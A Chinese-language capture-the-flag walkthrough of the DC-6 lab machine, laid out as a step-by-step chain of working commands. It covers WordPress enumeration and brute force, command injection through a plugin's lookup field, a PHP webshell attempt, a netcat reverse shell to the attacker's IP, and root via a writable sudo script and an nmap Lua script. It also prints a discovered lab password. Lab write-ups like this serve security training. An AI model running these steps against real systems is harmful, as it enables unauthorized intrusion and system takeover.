信息收集
sudo arp-scan -l
ip地址为192.168.146.144
端口扫描、服务器版本探测
sudo nmap -A -sV -O -p- 192.168.146.144
开放了22端口和80端口
去网站访问一下,一直访问不出来,想到上次那个靶机
修改/etc/hosts文件
访问http://wordy
用的cms是wordpress5.1.1
wordy说它相当于是另一个wordpress网站,提供安全的插件
隐藏目录扫描
dirb http://wordy/ -X.php
有登录页面
用针对wordpress的扫描器wpscan 扫描一下漏洞和用户
wpscan --url http://wordy -e
(枚举插件、用户名等) vp(显示有漏洞的插件),vt(显示有漏洞的主题),tt,u(用户名)
wpscan --url http://wordy -e vp,vt,tt,u
枚举出了5个用户
试试暴力破解
2009年一家名叫rockyou的公司遭到了黑客攻击,他们的密码列表以明文存储,黑客下载了所有的密码列表并且公开。rockyou.txt包含14341564个唯一密码,用于32603388个帐户
解压sudo gzip -d /usr/share/wordlists/rockyou.txt.gz后路径/usr/share/wordlists/rockyou.txt
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwd.txt
筛选出所有包含k01字符串的行,然后将这些行保存到passwd.txt文件
wpscan --url http://wordy -P [密码字典] -U [用户名字典
账户名是mark,密码是helpdesk01
后台登录 看到这个插件 猜测插件漏洞
点击tools 发现
Convert能把ip转换为整数,能把整数转换为ip
lookup将 IP 地址解析为主机名,如果 dig 安装在 Web 服务器上,它也将用于查找。和nslookup命令相似
sqlmap试过了没有sql注入漏洞
输入127.0.0.1&ls 点击look up会出现ls命令执行的结果 (为什么这么做,我参考的网上的博客)
抓包
可以把ls替换成其它命令 查看刚刚ls命令列出来的一些文件
接下来要拿shell
失败尝试:根据目录跳到成功
echo "<?php @eval($_POST['123']);?>" > 2.php
echo命令用于在终端输出文本
>: 重定向符号,它会将前面的输出重定向到后面的文件中,如果文件不存在,它会创建该文件
写入一句话木马
然后用cat 2.php发现没有写进去
我发现命令执行没成功 后面会跟一个resolves to (推测可能会有过滤 比如不允许出现" / 符号 或者长度限制)
成功尝试:
进入开发者模式
会限制输入的字符最大长度为15
修改下
打开终端监听nc -lvvp 4444
-l:
nc将处于侦听模式,nc被当作server,侦听并接受连接
-v: 输出交互或出错信息
-p:本地端口
nc -e /bin/bash
192.168.146.140 4444
使用 netcat 连接到 IP 地址为 192.168.146.140、端口号为 4444 的计算机,并在连接成功后,在该计算机上启动一个 bash shell
反弹shell成功
交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
是www-data用户
切换到mark用户 不行 可以直接cd /home/mark目录
告诉了graham的密码GSo7isUM1D4
提权:
find / -perm -4000 2>/dev/null
没有能用的
git提权
先用sudo -l列出
(jens) NOPASSWD: /home/jens/backups.sh 可以对backups.sh执行写操作
查看 是一个脚本 能解压到/var/www/html目录
在脚本里写入shell
echo "/bin/bash" >>/home/jens/backups.sh
>>重定向操作符,>> 追加到 /home/jens/backups.sh 文件的末尾
然后用jens身份执行
sudo -u jens ./backups.sh
拿到jens的shell
执行sudo -l
NOPASSWD不需要密码 可以执行root权限的nmap nmap可以用于suid提权
namp提权:
第一种方法:
执行nmap的可交互模式
sudo nmap --interactive
在nmap交互模式下键入!bash,即可得到bash的root权限
!bash
不行,老版本才支持“interactive.”选项 以及不具有sudi权限
第二种方法:DC6靶场渗透流程(超详细)_dc-6靶机-CSDN博客
nmap有执行脚本的功能,通过编写特殊脚本,可以实现利用nmap提权(sudo提权)
TF=$(mktemp)
mktemp创建一个临时文件,并将该文件的路径存储在变量TF中
echo 'os.execute("/bin/sh")' > $TF
将Lua脚本写入临时文件 $TF 引用临时文件的路径
sudo nmap --script=$TF
运行
开放了ssh端口 这个没用上